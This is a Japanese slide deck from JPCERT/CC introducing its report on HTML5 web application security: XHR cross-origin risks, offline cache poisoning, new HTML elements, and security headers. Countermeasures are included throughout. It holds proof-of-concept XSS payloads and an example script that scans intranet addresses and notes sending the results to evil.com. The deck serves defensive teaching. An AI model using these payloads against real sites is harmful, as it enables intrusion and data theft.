今 から 始 めるHTML5セキュリティ 一 般 社 団 法 人 JPCERTコーディネーションセンター 早 期 警 戒 グループ 情 報 セキュリティアナリスト 重 森 友 行
JPCERT/CCとは 一 般 社 団 法 人 JPCERTコーディネーションセンター (JPCERT/CC (ジェーピーサート コーディネーションセンター)) Japan Computer Emergency Response Team Coordination Center https://www.jpcert.or.jp/ サービス 対 象 : 日 本 国 内 のインターネット 利 用 者 やセキュリティ 管 理 担 当 者 ソフトウエア 製 品 開 発 者 等 ( 主 に 情 報 セキュリティ 担 当 者 ) コンピュータセキュリティインシデントへの 対 応 国 内 外 にセンサをおい たインターネット 定 点 観 測 ソフトウエアや 情 報 システム 制 御 システム 機 器 等 の 脆 弱 性 への 対 応 などを 通 じ セキュリティ 向 上 を 推 進 インシデント 対 応 をはじめとする 国 際 連 携 が 必 要 なオペレーションや 情 報 連 携 に 関 する 我 が 国 の 窓 口 となる CSIRT 各 国 に 同 様 の 窓 口 となる CSIRTが 存 在 する ( 例 えば 米 国 のUS-CERT 中 国 のCNCERT, 韓 国 のKrCERT/CC など) 経 済 産 業 省 からの 委 託 事 業 として コンピュータセキュリティ 早 期 警 戒 体 制 構 築 運 用 事 業 を 実 施 1
- JPCERT/CCをご 存 知 ですか? - JPCERT/CCの 活 動 インシデント 予 防 インシデントの 予 測 と 捕 捉 発 生 したインシデントへの 対 応 脆 弱 性 情 報 ハンドリング 未 公 開 の 脆 弱 性 関 連 情 報 を 製 品 開 発 者 へ 提 供 し 対 応 依 頼 関 係 機 関 と 連 携 し 国 際 的 に 情 報 公 開 日 を 調 整 セキュアなコーディング 手 法 の 普 及 制 御 システムに 関 する 脆 弱 性 関 連 情 報 の 適 切 な 流 通 3 0 2 5 2 0 1 5 1 0 5 情 報 収 集 分 析 発 信 定 点 観 測 (TSUBAME) ネットワークトラフィック 情 報 の 収 集 分 析 セキュリティ 上 の 脅 威 情 報 の 収 集 分 析 必 要 とする 組 織 への 提 供 全 センサーのポートスキャン 合 計 ポートスキャンの 上 位 5 位 を 表 示 ポートスキャンの 平 均 値 = ( 単 位 : 時 間 ) センサー 合 計 (ICM Pは 常 に 表 示 otherはその 他 合 計 ) ICM P TCP 135 TCP 445 UDP 137 TCP 139 TCP 1025 other インシデントハンドリング (インシデント 対 応 調 整 支 援 ) マルウエアの 接 続 先 等 の 攻 撃 関 連 サイト 等 の 閉 鎖 等 による 被 害 最 小 化 攻 撃 手 法 の 分 析 支 援 による 被 害 可 能 性 の 確 認 拡 散 抑 止 再 発 防 止 に 向 けた 関 係 各 関 の 情 報 交 換 及 び 情 報 共 有 0 1 2 /9 1 2 /1 0 1 2 /1 1 1 2 /1 2 1 2 /1 3 1 2 /1 4 Da ta 早 期 警 戒 情 報 重 要 インフラ 重 要 情 報 インフラ 事 業 者 等 の 特 定 組 織 向 け 情 報 発 信 CSIRT 構 築 支 援 海 外 のNational-CSIRTや 企 業 内 のセキュリティ 対 応 組 織 の 構 築 運 用 支 援 アーティファクト 分 析 マルウエア( 不 正 プログラム) 等 の 攻 撃 手 法 の 分 析 解 析 国 際 連 携 各 種 業 務 を 円 滑 に 行 うための 海 外 関 係 機 関 との 連 携 2
本 日 の 内 容 HTML5の 概 要 HTML5とは HTML5とセキュリティ HTML5 を 利 用 したWeb アプリケーションのセキュリティ 問 題 に 関 する 調 査 報 告 書 の 紹 介 報 告 書 の 内 容 の 紹 介 JavaScript API XMLHttpRequest OfflineWebApplication HTML 新 要 素 属 性 セキュリティ 関 連 機 能 3
HTML5とは 従 来 のHTMLに 代 わる 次 世 代 のHTML ブラウザでのデータ 格 納 クライアントとサーバ 間 での 双 方 向 通 信 位 置 情 報 の 取 得 など 従 来 のHTMLよりも 柔 軟 かつ 利 便 性 の 高 い Web サイトの 構 築 が 可 能 となる 日 本 を 含 むアジア 太 平 洋 地 域 においても 急 速 に 普 及 が 進 みつつある 最 近 のブラウザの 多 くは HTML5に 対 応 している( 一 部 実 装 されて いない 機 能 もある) 今 回 はHTML5だけでなく HTML5を 使 う 上 で 使 用 することの 多 い 関 連 する 機 能 なども 併 せて 紹 介 4
HTML5とセキュリティ HTML5は 開 発 者 にとって 非 常 に 便 利 様 々な 機 能 により 表 現 の 幅 が 大 きく 広 がる 関 連 キーワード XMLHttpRequest Cross Document Messaging Offline Web Application Web Storage WebSocket Web Workers 新 規 追 加 HTML 属 性 要 素 高 速 化 双 方 向 通 信 UIの 向 上 オフライン アプリケー ション クロス ドメイン 通 信 マルチ メディア 対 応 5
HTML5とセキュリティ HTML5は 開 発 者 にとって 非 常 に 便 利 攻 撃 者 にとっても 非 常 に 便 利 様 々な 機 能 により 表 現 の 幅 が 大 きく 広 がる 攻 撃 の 幅 も 大 きく 広 がる 関 連 キーワード XMLHttpRequest Cross Document Messaging Offline Web Application Web Storage WebSocket Web Workers 新 規 追 加 HTML 属 性 要 素 CSRF 情 報 漏 えい XSS DoS オープン リダイレクト 6
HTML5とセキュリティ 従 来 のHTMLでは 影 響 のなかったケースが ブラウザのHTML5 対 応 により 脆 弱 性 となってしまうケースが 存 在 する 利 便 性 が 向 上 する 一 方 で それらの 新 技 術 が 攻 撃 者 に 悪 用 された 際 にユーザが 受 ける 影 響 に 関 して 十 分 に 検 証 や 周 知 がされていると は 言 えない XSS CSRF DoS 情 報 漏 えい オープン リダイレクト 7
HTML5 を 利 用 したWeb アプリケーションの セキュリティ 問 題 に 関 する 調 査 報 告 書 2013 年 10 月 30 日 に 公 開 https://www.jpcert.or.jp/research/html5.html 8
報 告 書 で 紹 介 している 内 容 ( 機 能 別 ) JavaScript API Cross Document Messaging Web Storage WebSocket HTML 新 要 素 属 性 a button iframe meta video セキュリティ 機 能 X-XSS-Protection X-Content-Type-Options X-Frame-Optoins Offline Web Application Web Workers XMLHttpRequest audio canvas input source Content-Security-Policy Content-Disposition Strict-Transport-Security 本 資 料 では 赤 文 字 で 記 載 している 項 目 について 説 明 する 9
報 告 書 の 使 い 方 技 術 書 ガイドラインのベース 資 料 仲 間 内 の 勉 強 会 資 料 セミナの 参 考 資 料 などにどうぞ 引 用 転 載 にあたっては 以 下 を 参 照 してください JPCERT/CC ご 利 用 にあたってのお 願 い https://www.jpcert.or.jp/guide.html 記 載 例 ) 引 用 元 : JPCERTコーディネーションセンター HTML5 を 利 用 したWeb アプリケーションのセキュリティ 問 題 に 関 する 調 査 報 告 書 https://www.jpcert.or.jp/research/html5-20131030.pdf 10
報 告 書 の 内 容 を 紹 介 JavaScript API HTML 新 要 素 属 性 セキュリティ 関 連 機 能 11
報 告 書 の 内 容 を 紹 介 JavaScript API HTML 新 要 素 属 性 セキュリティ 関 連 機 能 12
JavaScript API XMLHttpRequest 13
XMLHttpRequest(XHR) 概 要 XMLHttpRequest(XHR)とは JavaScriptでHTTP 通 信 を 行 うためのAPI 非 同 期 通 信 によりインタラクティブな 表 現 が 可 能 AJAXの 普 及 に 伴 い 使 用 される 機 会 が 増 加 HTML5 以 前 からある 機 能 だが HTML5で 新 しくなった Java Script Java Script Java Script example.jp 14
従 来 のXHR JavaScriptを 読 み 込 んだオリジン( )のみと 通 信 が 可 能 別 オリジンへの 通 信 (クロスオリジン)では リクエスト 自 体 が 発 行 されない Java Script example.jp other.example.jp オリジン: ホスト ポート スキームの 組 み 合 わせ 15
HTML5のXHR(XMLHttpRequest Level 2) クロスオリジンに 対 応 クロスオリジンで 通 信 するためには サーバの 合 意 が 必 要 クライアントはサーバからのレスポンスを 見 てアクセスの 可 否 を 判 断 するため サーバ 側 で 許 可 していない 場 合 でも リクエストは 送 られる Java Script Origin: 読 み 込 み 元 オリジン example.jp other.example.jp Access-Control-Allow-Origin: 許 可 するオリジン or * 16
XHRを 使 用 するJavaScriptコード コード 例 http://example.jp/から 読 み 込 んだJavaScriptで http://other.example.jp/と 通 信 を 行 い 結 果 を 表 示 する 1: var url = http://other.example.jp/ ; 2: var xhr = new XMLHttpRequest(); 3: xhr.open( "GET", url, true ); 4: xhr.onreadystatechange = function(){ 5: if( xhr.readystate == 4 && xhr.status == 200 ){ 6: var resp = xhr.responsetext; 7: 8: } 9: }; 10: xhr.send( null ); 17
XHRでのHTTPリクエスト レスポンス 例 リクエスト 例 ) レスポンス 例 ) GET / HTTP/1.1 Host: other.example.jp Origin: http://example.jp User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0) Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 1 Jan 2013 09:00:00 GMT Content-Length: 1512 Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://example.jp... 18
XHRが 脆 弱 性 の 原 因 となるケース 19
ケース1:XHRを 使 用 した 既 存 のWebサイト フレームを 使 わずXHRで 動 的 にコンテンツを 書 き 換 えて いるケース http://example.jp/#/fooのようなurlでアクセスし # 以 降 を 通 信 先 URLとして 使 用 menu A B C D E http://example.jp/#/b.html コンテンツB 正 常 な 場 合 の 動 作 1. http://example.jp/にアクセス 2. 画 面 左 側 のメニューからBへのリン クをクリック (http://example.jp/#/b.html) 3. JavaScriptで# 以 降 をURLとして 扱 い XHRでコンテンツBの 内 容 を 取 得 4. XHRのレスポンスを 右 側 のコンテン ツとして 表 示 20
ケース1:XHRを 使 用 した 既 存 のWebサイト フレームを 使 わずXHRで 動 的 にコンテンツを 書 き 換 えて いるケース http://example.jp/#/fooのようなurlでアクセスし # 以 降 を 通 信 先 URLとして 使 用 具 体 的 なコード 例 1: var url = location.hash.substring(1); 2: var xhr = new XMLHttpRequest(); 3: xhr.open( "GET", url, true ); 4: xhr.onreadystatechange = function(){ 5: if( xhr.readystate == 4 && xhr.status == 200 ){ 6: div.innerhtml = xhr.responsetext; 7: } 8: }; 9: xhr.send( null ); 21
ケース1: 問 題 HTML5 未 対 応 ブラウザではリクエスト 自 体 が 行 われないが ブラウ ザがHTML5 対 応 したことにより 外 部 の 任 意 のサーバと 通 信 可 能 XSS 攻 撃 に 使 用 される 自 サイト 内 に 意 図 しないコンテンツが 表 示 される http://example.jp/#//evil.com/evil.html URLで 指 定 した 任 意 の 外 部 サイトと 通 信 可 能 menu A B C D E 悪 意 ある コンテンツ evil.com 22
ケース1: 対 策 HTML5 未 対 応 ブラウザではリクエスト 自 体 が 行 われないが ブラウ ザがHTML5 対 応 したことにより 外 部 の 任 意 のサーバと 通 信 可 能 XSS 攻 撃 に 使 用 される 自 サイト 内 に 意 図 しないコンテンツが 表 示 される 任 意 のサイトをURLで 指 定 しても 固 定 した 通 信 先 としか 通 信 できない 対 策 通 信 先 をホワイトリストとして 指 定 しておく 事 で 悪 意 のある 通 信 先 へのアクセスを 行 わない 様 にする 1: var pages = [ "/", "/foo", "/bar", "/baz" ]; 2: var index = location.hash.substring(1) 0; 3: var url = pages[ index ] / ; 4: var xhr = new XMLHttpRequest(); 5: xhr.open( "GET", url, true ); 6:... 23
ケース1: 補 足 脆 弱 となる 可 能 性 のある 例 1: var url = location.hash.substring(1); 2: if( url.indexof( "http://example2.jp/" ) == 0 3: url.indexof( "http://example3.jp/" ) == 0 ){ 4: 5: // example2.jp または example3.jp のときのみ 通 信 6: var xhr = new XMLHttpRequest(); 7: xhr.open( "GET", url, true ); 8:... 9: } サイト 内 にオープンリダイレクタが 存 在 すると 任 意 のサイトとの 通 信 が 可 能 ハッシュを 利 用 した 場 合 サーバ 側 にデータが 残 らないため どこ に 接 続 されたかの 把 握 が 困 難 24
ケース2:HTML5 対 応 のイントラ 内 Webサイト イントラネット 内 のシステム(サイトA サイトB) サイトAのJSからサイトBに 対 してクロスオリジン 通 信 を 行 っている 外 部 には 非 公 開 の 情 報 を 取 り 扱 っている イントラネットの 外 部 からのアクセスはできないため Cookieで の 制 限 は 行 っていない サイトBでは レスポンスヘッダにAccess-Controll-Allow-Origin:* を 設 定 イントラネット Java Script サイトA (10.0.0.1) Access-Control-Allow-Origin:* サイトB (10.0.0.2) 25
ケース2: 攻 撃 コード 例 以 下 のコードを 実 行 するインターネットWebサイト (http://evil.com/)にアクセスするとどうなるか? 1: for(i = 1; i <= 255; i++){ 2: var url = http://10.0.0. + i + / ; 3: var xhr = new XMLHttpRequest(); 4: xhr.open( "GET", url, true ); 5: xhr.onreadystatechange = function(){ 6: if( xhr.readystate == 4 && xhr.status == 200 ){ 7: // xhr.responsetext を evil.com に 送 信 8: } 9: }; 10: xhr.send( null ); 11: } 26
ケース2: HTTPリクエスト レスポンス 例 リクエスト 例 ) レスポンス 例 ) GET / HTTP/1.1 Host: 10.0.0.2 Origin: http://evil.com User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0) Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 1 Jan 2013 09:00:00 GMT Content-Length: 1512 Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: *... 27
ケース2: 問 題 と 対 策 問 題 外 部 の 攻 撃 者 サイトに 置 かれたJavaScriptのXHRから イントラネット 内 部 の 情 報 にアクセスされ 情 報 漏 えいに 繋 がる 可 能 性 がある evil.com Java Script Origin: http://evil.com/ サイトA (10.0.0.1) イントラネット サイトB (10.0.0.2) Access-Control-Allow-Origin:* 対 策 閲 覧 を 制 限 したいコンテンツの 場 合 Cookieでアクセスを 制 限 する(Cookieを 使 う 場 合 Access-Control- Allow-Originに *は 指 定 できず オリジンを 指 定 する 必 要 がある) Access-Control-Allow-Originは アクセス 制 御 の 目 的 で 使 用 できないことに 注 意 28
JavaScript API Offline Web Application 29
Offline Web Application 概 要 機 能 概 要 指 定 したリソースをオフラインキャッシュとしてローカルデバイス 上 に 保 存 しておくことにより ネットワークに 接 続 されていない 状 況 でも Web アプリケーションが 利 用 できる example.jp オフライン キャッシュ 初 回 アクセス 時 にオフライン キャッシュを 保 存 30
Offline Web Application 概 要 機 能 概 要 指 定 したリソースをオフラインキャッシュとしてローカルデバイス 上 に 保 存 しておくことにより ネットワークに 接 続 されていない 状 況 でも Web アプリケーションが 利 用 できる example.jp オフライン キャッシュ 初 回 アクセス 時 にオフライン キャッシュを 保 存 31
Offline Web Application 概 要 機 能 概 要 指 定 したリソースをオフラインキャッシュとしてローカルデバイス 上 に 保 存 しておくことにより ネットワークに 接 続 されていない 状 況 でも Web アプリケーションが 利 用 できる 2 回 目 以 降 のアクセス example.jp オフライン キャッシュ 以 降 のアクセスでは ネットワーク 接 続 せずに オフラインキャッシュを 使 用 32
Offline Web Application 問 題 中 間 者 攻 撃 により 汚 染 されたリソースを 保 存 した 場 合 そのネットワーク を 離 れた 後 も 汚 染 されたリソースを 使 い 続 ける example.jp 不 正 な アクセス ポイント example.jp 不 正 な オフライン キャッシュ example.jpへのアクセスの 際 には 汚 染 された 不 正 なオフラ インキャッシュが 使 用 される 対 策 当 該 リソースを 持 つサイト 全 体 に 対 してHTTPSを 利 用 する evil.com 33
その 他 のJavaScript API 報 告 書 では 今 回 紹 介 した 以 外 にも 様 々な 機 能 問 題 を 紹 介 しています Cross Document Messaging Web Storage WebSocket Web Workers XHRによるCSRF など 34
報 告 書 の 内 容 を 紹 介 JavaScript API HTML 新 要 素 属 性 セキュリティ 関 連 機 能 35
HTML 新 要 素 属 性 36
HTML 新 要 素 属 性 <video>, <audio> <img>と 同 様 にHTML 内 に 直 接 再 生 可 能 な 動 画 音 声 を 埋 め 込 む <button formaction= xxx > ボタンが 押 された 際 のフォームの 挙 動 を 指 定 する <input type= email > メール 形 式 のデータのみを 受 け 付 ける <input type= text pattern= ^[0-9a-fA-F]+$ > パターンにマッチするデータのみを 受 け 付 ける <iframe sandbox> scriptの 実 行 や フォームの 送 信 トップレベル Windowへの 干 渉 などを 制 限 する 37
HTML 新 要 素 属 性 <video>, <audio> <img>と 同 様 にHTML 内 に 直 接 再 生 可 能 な 動 画 音 声 を 埋 め 込 む <button formaction= xxx > ボタンが 押 された 際 のフォームの 挙 動 を 指 定 する <input type= email > メール 形 式 のデータのみを 受 け 付 ける <input type= text pattern= ^[0-9a-fA-F]+$ > パターンにマッチするデータのみを 受 け 付 ける <iframe sandbox> scriptの 実 行 や フォームの 送 信 トップレベル Windowへの 干 渉 などを 制 限 する 38
HTML 新 要 素 属 性 :<video>,<audio> Internet Explorer 9 および10 では <video>,<audio> 要 素 の onerror イベントが 動 作 するため XSS 攻 撃 が 行 われ る 可 能 性 がある <!-- video 要 素 によるXSS 攻 撃 の 例 --> <video onerror="javascript:alert(1)"> <source src="#"></source> </video> <!-- audio 要 素 によるXSS 攻 撃 の 例 --> <audio onerror="javascript:alert(1)"> <source src="#"></source> </audio> 39
HTML 新 要 素 属 性 <video>, <audio> <img>と 同 様 にHTML 内 に 直 接 再 生 可 能 な 動 画 音 声 を 埋 め 込 む <button formaction= xxx > ボタンが 押 された 際 のフォームの 挙 動 を 指 定 する <input type= email > メール 形 式 のデータのみを 受 け 付 ける <input type= text pattern= ^[0-9a-fA-F]+$ > パターンにマッチするデータのみを 受 け 付 ける <iframe sandbox> scriptの 実 行 や フォームの 送 信 トップレベル Windowへの 干 渉 などを 制 限 する 40
HTML 新 要 素 属 性 :<button formaction> 生 成 する HTML へのイベントハンドラの 挿 入 を 禁 ずるた めに on で 始 まる 属 性 を 検 出 する 対 策 をとる 場 合 があっ たが このような 対 策 では 不 十 分 <form> <button formaction="javascript:alert(1)">text</button> </form> 従 来 は onmouseover, onclickといったユーザの 操 作 が 必 要 な 属 性 が 攻 撃 に 使 われたが autofocus 属 性 と 組 み 合 わせることで ユーザの 操 作 なしに 攻 撃 可 能 になった <!-- ユーザの 操 作 が 不 要 な 攻 撃 の 例 --> <button autofocus onfocus="alert(1)"> 41
HTML 新 要 素 属 性 <video>, <audio> <img>と 同 様 にHTML 内 に 直 接 再 生 可 能 な 動 画 音 声 を 埋 め 込 む <button formaction= xxx > ボタンが 押 された 際 のフォームの 挙 動 を 指 定 する <input type= email > メール 形 式 のデータのみを 受 け 付 ける <input type= text pattern= ^[0-9a-fA-F]+$ > パターンにマッチするデータのみを 受 け 付 ける <iframe sandbox> scriptの 実 行 や フォームの 送 信 トップレベル Windowへの 干 渉 などを 制 限 する 42
HTML 新 要 素 属 性 : <input type= email > <input pattern= xxx > メールアドレス 形 式 の 入 力 データのみを 受 け 付 ける <form> <input type= email > <input type= submit > </form> patternにマッチする 入 力 データのみを 受 け 付 ける ( 下 の 例 では 16 進 数 表 現 のみを 受 け 付 ける) <form> <input type= text pattern= ^[0-9a-fA-F]+$ > <input type= submit > </form> 43
HTML 新 要 素 属 性 : <input type= email > <input pattern= xxx > 攻 撃 者 はブラウザ 内 でHTML を 書 き 換 え <input> 要 素 に よる 入 力 制 限 を 回 避 することが 可 能 であるため 本 機 能 を 入 力 値 に 対 するセキュリティ 対 策 として 使 用 してはい けない example.jp 44 <form> <input type= text > <input type= submit > </form> emailをtextに 書 き 換 え
HTML 新 要 素 属 性 <video>, <audio> <img>と 同 様 にHTML 内 に 直 接 再 生 可 能 な 動 画 音 声 を 埋 め 込 む <button formaction= xxx > ボタンが 押 された 際 のフォームの 挙 動 を 指 定 する <input type= email > メール 形 式 のデータのみを 受 け 付 ける <input type= text pattern= ^[0-9a-fA-F]+$ > パターンにマッチするデータのみを 受 け 付 ける <iframe sandbox> scriptの 実 行 や フォームの 送 信 トップレベルウィ ンドウへの 干 渉 などを 制 限 する 45
HTML 新 要 素 属 性 :<iframe sandbox> <iframe sandbox src= http://other.example.jp/sub.html ></iframe> index.html iframeで 読 み 込 み sub.html sub.html example.jp iframe 内 でのスクリプトの 実 行 や フォームの 送 信 などを 制 限 other.example.jp sandbox 属 性 の 値 に 以 下 を 指 定 することで 制 限 を 解 除 することも 可 能 sandboxに 指 定 可 能 な 値 説 明 allow-scripts スクリプトの 実 行 を 許 可 する allow-forms フォームの 送 信 を 許 可 する allow-top-navigation トップレベルウィンドウの 操 作 を 許 可 する 46
HTML 新 要 素 属 性 :<iframe sandbox> 自 身 のページを<iframe sandbox>で 読 み 込 むようにしても 攻 撃 者 は 直 接 ページを 参 照 させることが 可 能 なため XSS 攻 撃 などを 防 ぐ 対 策 にはならない <iframe sandbox src= http://example.jp/xss.html > index.html xss.html index.htmlを 参 照 した 場 合 xss.html 内 のスクリプトは 動 作 しない example.jp evil.com attacker.html xss.html attacker.htmlを 参 照 した 場 合 sandboxの 制 限 が 回 避 され スクリプトが 動 作 する <iframe src= http://example.jp/xss.html > 47
その 他 のHTML 新 要 素 属 性 報 告 書 では 今 回 紹 介 した 以 外 にも 様 々な 機 能 問 題 を 紹 介 しています <a> <canvas> <meta> <source> JSONハイジャック など 48
報 告 書 の 内 容 を 紹 介 JavaScript API HTML 新 要 素 属 性 セキュリティ 関 連 機 能 49
セキュリティ 関 連 機 能 50
セキュリティ 関 連 機 能 X-XSS-Protection XSS 攻 撃 からの 保 護 X-Content-Type-Options Content-Typeヘッダに 従 ったコンテンツの 取 り 扱 い X-Frame-Options フレームへの 埋 め 込 みを 制 限 Content-Security-Policy コンテンツの 読 み 込 み 元 を 制 限 Content-Disposition ファイルのダウンロードダイアログの 制 御 Strict-Transport-Security HTTPSの 強 制 51
セキュリティ 関 連 機 能 X-XSS-Protection XSS 攻 撃 からの 保 護 詳 細 は 報 告 書 を 参 照 X-Content-Type-Options Content-Typeヘッダに 従 ったコンテンツの 取 り 扱 い X-Frame-Options フレームへの 埋 め 込 みを 制 限 Content-Security-Policy コンテンツの 読 み 込 み 元 を 制 限 Content-Disposition ファイルのダウンロードダイアログの 制 御 Strict-Transport-Security HTTPSの 強 制 52
まとめ 53
まとめ HTML5を 用 いることで 従 来 よりも 柔 軟 かつ 利 便 性 の 高 いWebサイトの 構 築 が 可 能 になる 一 方 で 開 発 時 にはセ キュリティ 対 策 が 必 要 となる 機 能 も 多 数 ある HTML5を 利 用 したWebアプリケーションのセキュリ ティ 問 題 に 関 する 調 査 報 告 書 をセキュアなWebアプリ ケーションの 開 発 に 役 立 ててください お 問 い 合 わせは 以 下 まで ご 意 見 お 待 ちしています JPCERTコーディネーションセンター Email:ww-info@jpcert.or.jp Tel:03-3518-4600 Web: https://www.jpcert.or.jp/ 54
ご 静 聴 ありがとうございました 55